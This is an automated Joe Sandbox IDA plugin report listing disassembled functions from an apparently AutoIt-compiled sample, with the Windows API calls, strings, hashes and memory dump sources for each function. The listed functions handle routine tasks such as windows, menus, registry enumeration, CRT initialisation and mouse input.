Opcode Fuzzy Hash: 6966a82ab2152a568e1bcfe76f4706eb623bbc2a4a503ad68a905dddd28a86dc
Instruction Fuzzy Hash: 3F31D771600208AFDB11AF24CC85FBD77BDEB44726F454019FD09AB291CB70AC488BA1

Function 0033E360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0033E3A5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0033E3CB
SysAllocString.OLEAUT32(00000000), ref: 0033E3CE
SysAllocString.OLEAUT32 ref: 0033E3EF
SysFreeString.OLEAUT32 ref: 0033E3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 0033E412
SysAllocString.OLEAUT32(?), ref: 0033E420

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: f672137eec44df2347dd1546b0e24cb32b2457030651af24bffef5f8e82c0c86
Instruction ID: a40e9544ae9e6c4a21bc6b4abae41d1c3241f99f29bf1ef8f2713c596ef95302
Opcode Fuzzy Hash: f672137eec44df2347dd1546b0e24cb32b2457030651af24bffef5f8e82c0c86
Instruction Fuzzy Hash: 1B217735605204AFEB259FA9DCC8DAE77ECEB0C360F018125F909CB2A0D674EC818B64

Function 0033FE19 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0033FE2C
__wcsnicmp.LIBCMT ref: 0033FE4D
__wcsnicmp.LIBCMT ref: 0033FE67

Strings

#OnAutoItStartRegister, xrefs: 0033FE61
#requireadmin, xrefs: 0033FE47
#notrayicon, xrefs: 0033FE24

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: c10b46c8d639c79e974168f63cbd970ba07f0fcc77dcc8264cc2b25d1564e231
Instruction ID: a24619a284dbb58c61919773e4600276dc2a9536746974f2cd67ab8f25b4cba7
Opcode Fuzzy Hash: c10b46c8d639c79e974168f63cbd970ba07f0fcc77dcc8264cc2b25d1564e231
Instruction Fuzzy Hash: 64213A325051116ED333AA249C52FBB739CDF51740FA04436F4868A5A3E7959E42C395

Function 00367BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002E2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002E214F
Part of subcall function 002E2111: GetStockObject.GDI32(00000011), ref: 002E2163
Part of subcall function 002E2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 002E216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00367C57
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00367C64
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00367C6F
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00367C7E
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00367C8A

Strings

Msctls_Progress32, xrefs: 00367C28

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 47f69839ae623b68a73efa8dddf695acb5725b03d28fb1bd49c3607a36e73455
Instruction ID: 2adf7c43353ad1e71fb5d5b3cc20ac7d92cf5aecc609af0028efeb715803e3cc
Opcode Fuzzy Hash: 47f69839ae623b68a73efa8dddf695acb5725b03d28fb1bd49c3607a36e73455
Instruction Fuzzy Hash: 611182B2150219BEEF169F60CC85EE77F5DEF08798F018115BA08A6094C7729C61DBA4

Function 00309D16 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00309D16

Part of subcall function 003033B7: EncodePointer.KERNEL32(00000000), ref: 003033BA
Part of subcall function 003033B7: __initp_misc_winsig.LIBCMT ref: 003033D5
Part of subcall function 003033B7: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0030A0D0
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0030A0E4
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0030A0F7
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0030A10A
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0030A11D
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 0030A130
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 0030A143
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 0030A156
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0030A169
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0030A17C
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 0030A18F
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 0030A1A2
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 0030A1B5
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0030A1C8
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0030A1DB
Part of subcall function 003033B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0030A1EE

__mtinitlocks.LIBCMT ref: 00309D1B
__mtterm.LIBCMT ref: 00309D24

Part of subcall function 00309D8C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00309D29,00307EFD,0039CD38,00000014), ref: 00309E86
Part of subcall function 00309D8C: _free.LIBCMT ref: 00309E8D
Part of subcall function 00309D8C: DeleteCriticalSection.KERNEL32(0R:,?,?,00309D29,00307EFD,0039CD38,00000014), ref: 00309EAF

__calloc_crt.LIBCMT ref: 00309D49
__initptd.LIBCMT ref: 00309D6B
GetCurrentThreadId.KERNEL32 ref: 00309D72

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: eaa5f96904518852dc9c97d09e5888e91f24768f6fb38e789b214c5fafb99682
Instruction ID: cc23a8fa488ec88ca3f9d4260bf04a2044a4967adc853dac775df7c2b7c68219
Opcode Fuzzy Hash: eaa5f96904518852dc9c97d09e5888e91f24768f6fb38e789b214c5fafb99682
Instruction Fuzzy Hash: C0F06D32A9B7125AE63B7B747C2778B26D8DB42730F21065BF494DD0E3EF1088414590

Function 003041B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00304282,?), ref: 003041D3
GetProcAddress.KERNEL32(00000000), ref: 003041DA
EncodePointer.KERNEL32(00000000), ref: 003041E6
DecodePointer.KERNEL32(00000001,00304282,?), ref: 00304203

Strings

combase.dll, xrefs: 003041CE
RoInitialize, xrefs: 003041C2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 6c876aba4c505afa9c90f82fcd72b872f1d7d11234bdd02a413646bd574e0ceb
Instruction ID: 36b7ecbd9ab1bea06c0f4dbad45f2cb486e69756f0ca8406929f1106e79fc5d0
Opcode Fuzzy Hash: 6c876aba4c505afa9c90f82fcd72b872f1d7d11234bdd02a413646bd574e0ceb
Instruction Fuzzy Hash: 29E01AB5690701FFEF771B70EC4DB68366DA716B06F608524F505D50E0CBB945859F00

Function 0030428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,003041A8), ref: 003042A8
GetProcAddress.KERNEL32(00000000), ref: 003042AF
EncodePointer.KERNEL32(00000000), ref: 003042BA
DecodePointer.KERNEL32(003041A8), ref: 003042D5

Strings

combase.dll, xrefs: 003042A3
RoUninitialize, xrefs: 00304297

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 91486a33d41d3bd16c766edaf803dc558490426cf88bf46aafe0fe47209564a6
Instruction ID: 0489e81b1991da87e92cd05723e23983f18c6b0ceb886aebf823a411fd10e1d2
Opcode Fuzzy Hash: 91486a33d41d3bd16c766edaf803dc558490426cf88bf46aafe0fe47209564a6
Instruction Fuzzy Hash: B2E0B6B4691700EFEF779B60AD0DB643AACB705B02F504518F509E50E0CBB54684DB10

Function 002E218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 002E21B8
GetWindowRect.USER32(?,?), ref: 002E21F9
ScreenToClient.USER32(?,?), ref: 002E2221
GetClientRect.USER32(?,?), ref: 002E2350
GetWindowRect.USER32(?,?), ref: 002E2369

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 401e74925f4618fe80ca04a306eb81b282da25580e7e4648cac391f1cfa07b1f
Instruction ID: 9e03fe246db49229564fb572024ea8c4f354a71be7c6107a16d250c95031f463
Opcode Fuzzy Hash: 401e74925f4618fe80ca04a306eb81b282da25580e7e4648cac391f1cfa07b1f
Instruction Fuzzy Hash: 5DB19E3991024ADBDF14CFA9C8807EDB7B5FF08310F548169ED5AEB214DB70AA94CB64

Function 00346A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00346BC6
_memmove.LIBCMT ref: 00346B01

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

_memmove.LIBCMT ref: 00346B74
_memmove.LIBCMT ref: 00346C5B
_memmove.LIBCMT ref: 00346C74
_memmove.LIBCMT ref: 00346C90

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction ID: 779eb24892af9f338af077b7705b1fc0495857ddea291558c965945ea3135632
Opcode Fuzzy Hash: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction Fuzzy Hash: 7A61DD3151029AABCF12EF60CC92EFE77A8EF06308F444559F9996F292DB34AC15CB51

Function 00360844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 0036147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0036040D,?,?), ref: 00361491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0036091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0036095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00360980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 003609A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 003609EC
RegCloseKey.ADVAPI32(00000000), ref: 003609F9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 5b87855bfb789657c62b30b71ca07d0d6efa8c225aaa7689c63e23d1f12f3ab8
Instruction ID: 367988bacb33708d5ec3bffd4d0336feb203fa0e377440176f796460c12fa260
Opcode Fuzzy Hash: 5b87855bfb789657c62b30b71ca07d0d6efa8c225aaa7689c63e23d1f12f3ab8
Instruction Fuzzy Hash: D5517B311182049FD71AEB64C886E6BBBF9FF84314F04891DF5898B2A2DB31E914CB52

Function 00365DD6 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00365E38
GetMenuItemCount.USER32(00000000), ref: 00365E6F
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00365E97
GetMenuItemID.USER32(?,?), ref: 00365F06
GetSubMenu.USER32(?,?), ref: 00365F14
PostMessageW.USER32(?,00000111,?,00000000), ref: 00365F65

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 032b9046bcca01e726ccba620496fb6adaec786fb8521015831afcdeff472608
Instruction ID: 82a432147701f14fb4c0a6727237d2a3459a7861f91e34e4d440c3818eb20db6
Opcode Fuzzy Hash: 032b9046bcca01e726ccba620496fb6adaec786fb8521015831afcdeff472608
Instruction Fuzzy Hash: 6B518E75A01615EFCF16EFA4C845AAEB7B5EF48310F1180A9F805BB391CB71AE418F90

Function 0033F688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0033F6A2
VariantClear.OLEAUT32(00000013), ref: 0033F714
VariantClear.OLEAUT32(00000000), ref: 0033F76F
_memmove.LIBCMT ref: 0033F799
VariantClear.OLEAUT32(?), ref: 0033F7E6
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0033F814

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 1b4bf70d1af1185720fe4b98dae5a9b1905acf08d4d1476402a8cd2d551d0d98
Instruction ID: e0a03869e886a41924372badba57800b8514fafc48496aaac67afb7b2af8ffd5
Opcode Fuzzy Hash: 1b4bf70d1af1185720fe4b98dae5a9b1905acf08d4d1476402a8cd2d551d0d98
Instruction Fuzzy Hash: B95128B5A00209EFDB25CF58C884AAAB7B8FF4C354F15856AE959DB310D730E951CFA0

Function 003429B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003429FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00342A4A
IsMenu.USER32(00000000), ref: 00342A6A
CreatePopupMenu.USER32 ref: 00342A9E
GetMenuItemCount.USER32(000000FF), ref: 00342AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00342B2D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 1c8c0a9dc875059d3c510a80575015acceb8eddd5d914cd9f5d085903416fdff
Instruction ID: df4b626bfe42c9f6d65e24292dbfe86368a1655d66cae5123d76e7a6975b6caf
Opcode Fuzzy Hash: 1c8c0a9dc875059d3c510a80575015acceb8eddd5d914cd9f5d085903416fdff
Instruction Fuzzy Hash: E951AE70A00249EFDF26CF68D888AAFBBF8EF45314F504159F815AF2A1D770A944CB61

Function 002E1B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 002E1B76
GetWindowRect.USER32(?,?), ref: 002E1BDA
ScreenToClient.USER32(?,?), ref: 002E1BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 002E1C08
EndPaint.USER32(?,?), ref: 002E1C52

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 9162e9760c24cff2f637ec96ca7503d9ff989ba7e2e2ac4a8d95d823838e7eee
Instruction ID: 02e398fd162bc566badf7964f1724ab486d929001fd20da79e3f7623e50e5aff
Opcode Fuzzy Hash: 9162e9760c24cff2f637ec96ca7503d9ff989ba7e2e2ac4a8d95d823838e7eee
Instruction Fuzzy Hash: 9741D3301542409FD722DF25CCC9FBA7BECEB4A720F140669F599C72A1C7309864DB62

Function 0036BD10 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(003A77B0,00000000,013655D8,?,?,003A77B0,?,0036BC1A,?,?), ref: 0036BD84
EnableWindow.USER32(?,00000000), ref: 0036BDA8
ShowWindow.USER32(003A77B0,00000000,013655D8,?,?,003A77B0,?,0036BC1A,?,?), ref: 0036BE08
ShowWindow.USER32(?,00000004,?,0036BC1A,?,?), ref: 0036BE1A
EnableWindow.USER32(?,00000001), ref: 0036BE3E
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0036BE61

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: fbffc9181facd7cc9f121bff2ec78150f00a39ca27933e63b48df1a2a00d7c5e
Instruction ID: 44e20541ed5a1751d8beff2b40944dcd9a6d7754e430a7e1d318e97be3523326
Opcode Fuzzy Hash: fbffc9181facd7cc9f121bff2ec78150f00a39ca27933e63b48df1a2a00d7c5e
Instruction Fuzzy Hash: ED414A34600144EFDB27CF28D489B94BBE5FF05314F1981A9EA48CF2A6C772A885CF61

Function 00357788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,0035550C,?,?,00000000,00000001), ref: 00357796

Part of subcall function 0035406C: GetWindowRect.USER32(?,?), ref: 0035407F

GetDesktopWindow.USER32 ref: 003577C0
GetWindowRect.USER32(00000000), ref: 003577C7
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 003577F9

Part of subcall function 003457FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00345877

GetCursorPos.USER32(?), ref: 00357825
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00357883

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: c99a5f7f6f4ab37d73245a1bda7bbb8bf62308f6d1bf687f780e8c1c56cf6e16
Instruction ID: a3f8e757c2a155c4c2ba06bcdf7a14dadb498e946168c5c4de4e62fadf1db806
Opcode Fuzzy Hash: c99a5f7f6f4ab37d73245a1bda7bbb8bf62308f6d1bf687f780e8c1c56cf6e16
Instruction Fuzzy Hash: 0331C172508315ABD725DF14D84AF9BBBEDFF88314F000929F99997191CB70E948CBA2

